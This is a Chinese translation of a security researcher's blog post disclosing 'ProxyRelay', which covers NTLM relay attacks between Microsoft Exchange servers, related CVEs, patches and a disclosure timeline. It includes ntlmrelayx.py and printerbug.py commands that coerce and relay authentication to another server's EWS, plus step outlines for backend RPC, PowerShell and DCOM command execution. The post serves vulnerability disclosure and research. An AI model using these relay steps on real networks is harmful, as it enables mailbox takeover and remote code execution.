Orange：MS Exchange上的新攻击面第四部分 - ProxyRelay！

这是Orange在发言 :)

2022年10月19日 星期三

MS Exchange上的新攻击面第四部分 - ProxyRelay！

这是一篇来自DEVCORE的交叉发布博客。您可以在以下位置查看该系列：

• MS Exchange上的新攻击面第一部分 - ProxyLogon！
• MS Exchange上的新攻击面第二部分 - ProxyOracle！
• MS Exchange上的新攻击面第三部分 - ProxyShell！
• MS Exchange上的新攻击面第四部分 - ProxyRelay！

嗨，这是一篇拖延已久的文章。我们本可以更早发布这篇文章（原始漏洞于2021年6月向MSRC报告，遵循90天公开披露政策）。然而，在与MSRC的沟通中，他们解释说由于这是一个架构设计问题，需要进行大量代码更改和测试，因此他们希望通过一次性CU（累积更新）而不是常规的补丁星期二来解决这个问题。我们理解他们的情况并同意延长截止日期。

微软最终于2022年4月20日发布了Exchange Server 2019 CU 12和Exchange Server 2016 CU 23。然而，这个补丁默认未启用。直到2022年8月9日，微软才发布了补丁激活方法。因此，我们原本有机会在Pwn2Own Vancouver 2021上演示我们的攻击。但我们很快放弃了这个想法，因为我们的目的不是赚取奖金。我们是为了保护世界安全！您可以查看时间线了解详细的披露过程。

想法

自从微软在2021年4月阻止了我们的代理相关攻击后，我一直在思考是否有方法可以绕过这种缓解措施。在那个4月的补丁中，微软通过要求所有需要Kerberos票据的HTTP请求首先进行身份验证来增强了CAS前端的安全性。这一增强有效地缓解了我们提出的攻击面，并阻止了未经身份验证的HTTP请求访问CAS后端。那么Exchange现在安全了吗？

当然不是，本文就是为了证明这一点！由于微软只修复了有问题的代码，我们在2021年POC和2021年HITCON的演讲中提出了几种攻击和可能的弱点。

也许您已经听说，我们的第一个预测已经在最近的ProxyNotShell中实现。该攻击重用了ProxyShell的路径混淆，但附加了预先已知的身份验证。这很可靠，但看起来仍然需要有效的身份验证（不确定，还没有时间深入研究）。然而，在我的演讲中，我们暗示了另一种不直接与身份验证增强对抗的方法。现在我们终于可以披露它了 :)

以防您不知道，我是Printer Bug的忠实粉丝（感谢Lee Christensen、Will Schroeder和Matt Nelson在DerbyCon 2018上的精彩演讲）。PrinterBug允许攻击者强制任何域加入的机器通过MS-RPRN协议启动与其自身机器账户的SMB连接到攻击者。由于这种行为是按设计工作的，这个对黑客友好的功能多年来已被广泛用于NTLM中继。

在Exchange CAS的架构中，后端通过检查登录身份是否具有ms-Exch-EPI-Token-Serialization的扩展权限来授权HTTP请求具有模拟任何用户的能力。此外，在Exchange Server安装期间，邮箱服务器会自动添加到Exchange Servers组中，并且该Active Directory组中的所有对象默认都具有Token-Serialization权限。

基于上述知识，我提出了一个简单的想法。在企业网络中，为了高可用性和站点弹性，通常会看到多个Exchange服务器。我们能否在Exchange服务器之间中继NTLM身份验证？

这种中继想法有几个优点。由于它是跨机器中继，不受同主机限制的约束。而且，由于NTLM身份验证是由Exchange Server的机器账户发起的，中继的身份验证拥有Token-Serialization权限，允许我们在Exchange服务中模拟任何用户。我相信这是一个绝妙的想法，并希望探索它是否可利用！

漏洞

让我们谈谈漏洞。由于这是一个完整的攻击面而不是单个错误，这个想法可以应用于不同的上下文，导致不同的漏洞。这些漏洞的影响是攻击者可以绕过Exchange身份验证，甚至无需用户交互即可获得代码执行。以下是迄今为止相关的CVE：

• CVE-2021-33768 - 中继到Exchange FrontEnd
• CVE-2022-21979 - 中继到Exchange BackEnd
• CVE-2021-26414 - 中继到Exchange DCOM
• CVE-2022-RESERVED - 中继到Exchange的其他服务

以下攻击具有相似的模板，主机EX01代表第一个Exchange服务器，EX02代表第二个Exchange服务器，ATTACKER代表攻击者控制的服务器。 在所有攻击中，攻击者强制第一个Exchange服务器向他发起NTLM身份验证，并将其转发到第二个Exchange服务器。我们使用printerbug.py强制服务器启动SMB连接，并使用ntlmrelayx.py捕获NTLM并将身份验证中继到另一个Exchange服务器。

第一轮 - 中继到Exchange FrontEnd

对于第一个上下文，我们尝试将身份验证中继到另一个Exchange服务器的前端。由于中继身份验证的身份是Exchange的机器账户，拥有Token-Serialization权限，我们可以模拟任何用户！这里我们以中继从EX01到EX02前端EWS服务的NTLM身份验证作为展示。我们通过自定义httpattack.py实现了中继到前端EWS的攻击！以下是一个简单的概述：

1. 在ATTACKER服务器上运行ntlmrelayx.py以等待NTLM身份验证。
2. 使用printerbug.py强制EX01启动到ATTACKER的SMB连接。
3. 在ATTACKER上接收SMB连接，并将NTLM blob中继到EX02。
4. 完成NTLM握手以获得对EWS端点的完全访问权限。

1
2
3
4
5

# 终端1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# 终端2
$ python printerbug.py EX01 ATTACKER

理论上，我们可以通过EWS操作接管目标邮箱。这里我们提供了一个演示来转储管理员邮箱下的秘密。

修补FrontEnd

微软分配了CVE-2021-33768，并于2021年7月发布了一个补丁来修复前端可被中继的问题。由于以前端机器账户登录不是常规操作，通过在前端代理处理程序上添加IsSystemOrMachineAccount()检查来确保所有前端登录都不是机器账户，很容易缓解该攻击。

第二轮 - 中继到Exchange BackEnd

中继到前端可以通过简单检查轻松缓解。那么中继到后端呢？由于后端通过检查是否为机器账户来验证前端请求，缓解后端将更具挑战性，因为这是常规操作，后端需要具有ms-Exch-EPI-Token-Serialization扩展权限的机器账户来模拟所需用户。这里我们提供了3个攻击后端的展示。

2-1 攻击BackEnd /EWS

基于我们介绍的中继到前端EWS攻击，早期的攻击可以无缝重新应用于后端。唯一的更改是将目标端口从443修改为444。

2-2 攻击BackEnd /RPC

另一个展示是攻击Outlook Anywhere。Exchange定义了几个可以直接操作邮箱的内部RPC服务。这些RPC服务有一个公共接口，可以通过/Rpc/*访问，用户可以通过RPC-over-HTTP协议访问自己的邮箱，这在微软的MS-RPCH规范中有描述。对于那些想了解底层机制的人，建议阅读Arseniy Sharoglazov的精彩研究《攻击MS Exchange Web接口》以获取详细信息。

回到我们的攻击，核心逻辑与攻击EWS相同。因为/Rpc/*也位于HTTP/HTTPS上，所以它也是可中继的。一旦我们绕过身份验证并访问路由/Rpc/RpcProxy.dll，我们就可以模拟任何用户并通过RPC-over-HTTP协议操作他的邮箱。为了实现该攻击，我们将Ruler Project的许多内容移植到了Impacket中。作为此展示的结果，我们可以通过PrinterBug绕过身份验证，并通过Outlook Anywhere操作任何用户的邮箱。整个攻击可以说明为以下步骤：

1. 为RPC I/O建立到EX02的RCP_IN_DATA和RCP_OUT_DATA通道。
2. 在EX01上触发PrinterBug并中继到EX02以完成NTLM握手。
3. 附加X-CommonAccessToken头以指示我们在两个HTTP头上都是Exchange管理员。
4. 通过基于MS-RPCH的MS-OXCRPC和MS-OXCROPS进行大量编码工作与Outlook Anywhere交互…

2-3 攻击BackEnd /PowerShell

我们想强调的最后一个展示是中继到Exchange PowerShell。由于我们已经绕过了后端IIS上的身份验证，可以再次执行类似ProxyShell的漏洞利用！一旦我们可以执行任意Exchange Cmdlets，因为我们是Exchange管理员，链式组合一个认证后RCE应该不难。有数百个用于Exchange管理的Cmdlets，许多过去的案例（CVE-2020-16875、CVE-2020-17083、CVE-2020-17132、CVE-2021-31207等）也证明这不是一项困难的任务。

由于我们决定不参加Pwn2Own，我们没有实现这个漏洞利用链。这里我们将其留作读者的练习。;)

2-4 修补BackEnd

微软分配了CVE-2022-21979，并于2022年8月修补了该漏洞。此补丁通过在IIS中强制启用扩展保护身份验证，永久消除了后端的所有中继攻击。

第三轮 - 中继到Windows DCOM

这部分应全部归功于Dlive。行业界早知道MS-DCOM可被中继，这得益于Sylvain Heiniger关于通过RPC中继NTLM身份验证的精彩研究。然而，Dlive基于Active Directory环境中Exchange Servers的组继承创建了一个RCE链。请为他喝彩！

这种攻击的想法是，Exchange Server的本地管理员组包括组成员Exchange Trusted Subsystem，并且默认所有Exchange Server都在此组中。这意味着机器账户EX01$也是EX02的本地管理员。有了这个概念，中继到MS-DCOM的影响可以最大化并完美应用于Exchange Server！

Dlive在他的DEFCON 29演讲中演示了这种攻击。尽管他没有发布漏洞利用代码，但他幻灯片p45中的Wireshark截图已经暗示了一切，足以重现。该过程可以说明如下：

1. 强制EX01启动连接，并将NTLM中继到EX02的Endpoint Mapper（端口135）以获取MMC20.Application的接口。
2. 再次强制EX01，并将NTLM中继到EPMapper分配的动态端口，并在iMMC->Document->ActiveView下调用ExecuteShellCommand(…)。
3. 运行任意命令以获取乐趣和利益！

编写整个漏洞利用很有趣，就像混合dcomexec.py和ntlmrelayx.py一样。建议那些想更深入了解DCOM机制的人亲手编写自己的漏洞利用代码！

修补DCOM

微软分配了CVE-2021-26414，并于2021年6月修补了这个DCOM中继。然而，由于兼容性，服务器端的加固默认被禁用。服务器管理员必须通过创建以下注册表项手动激活补丁。如果服务器管理员没有仔细阅读文档，他的Exchange Server在6月补丁后可能仍然易受攻击。

1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel

至于何时在服务器端强制执行保护？根据CVE页面下的FAQ，微软已经提出了一个三阶段 rollout 以完全缓解此问题。现在，它处于第一阶段，补丁在2022年6月14日之前默认不会激活。因此，在撰写本文时，这个RCE在最新版本的Exchange Server上仍然可利用！

第四轮 - 中继到其他Exchange服务…

在Exchange Server上使用NTLM作为身份验证方法的服务可能也易受攻击。在撰写本文时，我们已经发现并向MSRC报告了一个。我们相信应该还有更多，这对于那些想在Exchange Server上发现漏洞的人来说是一个好目标！

结束语

在这里，这个系列终于结束了。在过去的两年里，许多起伏使这段旅程非同寻常。从最早与不良行为者的错误碰撞，到ITW恐慌，到Pwn2Own黑客竞赛，以及我们的演讲在顶级黑客会议上被接受，我们问心无愧，我们没有做错任何事。然而，在不了解背景的情况下，对我们的公司和我有很多不正确的猜测和不准确的媒体报道；甚至还有对我们的低级打击……这很糟糕。

虽然也有快乐的时刻，比如在顶级黑客竞赛Pwn2Own上赢得我们的第一个Master-of-Pwn冠军，并获得了Pwnie Awards的最佳服务器端错误，但流言蜚语和恶意攻击真的骚扰和压抑了我很多……

祝贺我终于可以结束这项研究并开始我的新黑客之旅。我只不过是一个安全书呆子，宁愿花更多时间在黑客技术上，如果我的句子有时简短不清，请不要怪我；用不熟悉的语言表达事物并不容易。我用非母语安排演示或文章大约需要4~5倍的时间；在提炼过程中丢失了很多词汇。

希望有一天，不再有语言障碍。在酒吧里，喝着啤酒，我们可以整夜谈论黑客技术、文化和黑客！

时间线

• 2021年6月2日 - 我们通过MSRC门户向微软报告了该漏洞。
• 2021年6月3日 - MSRC打开了案例。（编号65594）
• 2021年6月3日 - 我们向MSRC附加了90天漏洞披露政策。截止日期是2021年9月1日。
• 2021年6月11日 - MSRC回复说他们的目标是在9月前完成。
• 2021年7月22日 - MSRC表示案例看起来不会在9月前完全解决。
• 2021年7月25日 - 我们说我们可以延长截止日期，并告诉我们新的预计日期。
• 2021年8月25日 - 我们再次询问预计日期。
• 2021年9月1日 - MSRC表示此案例已扩展为设计更改，预计发布日期为2021年12月。
• 2021年9月8日 - 我们询问是否可能缩短时间框架，因为我们想在会议上披露此问题。
• 2021年9月17日 - MSRC回复说没有快速简单的修复，而是设计级别的更改，他们无法在10月完成更改。
• 2021年10月25日 - 我们决定不在会议上披露，并给团队公平的时间进行修复和测试。我们希望这个错误能按计划在2021年12月修复。
• 2021年12月21日 - 我们询问此案例的更新。
• 2021年12月22日 - MSRC回复说他们的目标是将此补丁包含在CU（累积更新）中，而不是SU（安全更新）中，因为更改级别较高。下一个CU发布日期将在2022年3月。
• 2022年4月4日 - 我们询问我们在3月没有看到CU。新的发布日期是什么时候？
• 2022年4月13日 - MSRC回复说CU被延迟了，当前发布日期是2022年4月20日。
• 2022年4月20日 - 微软发布了Exchange Server 2019 CU 12和Exchange Server 2016 CU 23。
• 2022年4月21日 - 我们发现我们的漏洞利用在最新版本的Exchange Server上仍然有效，并询问这个错误真的修复了吗？
• 2022年4月27日 - MSRC回复说CU包含代码更改，但需要手动或使用脚本激活。仍然有一些测试问题，但手动激活过程将于2022年5月10日公开。
• 2022年5月11日 - MSRC表示文档和脚本已映射到2022年6月（2022年6月14日）的补丁星期二。
• 2022年6月10日 - MSRC表示测试中仍有一些问题，他们希望在2022年7月发布。
• 2022年7月4日 - 我们询问是否会在本月的补丁星期二发布。
• 2022年8月10日 - 没有看到任何内容，再次询问。
• 2022年8月18日 - 微软发布了CVE和补丁激活文档！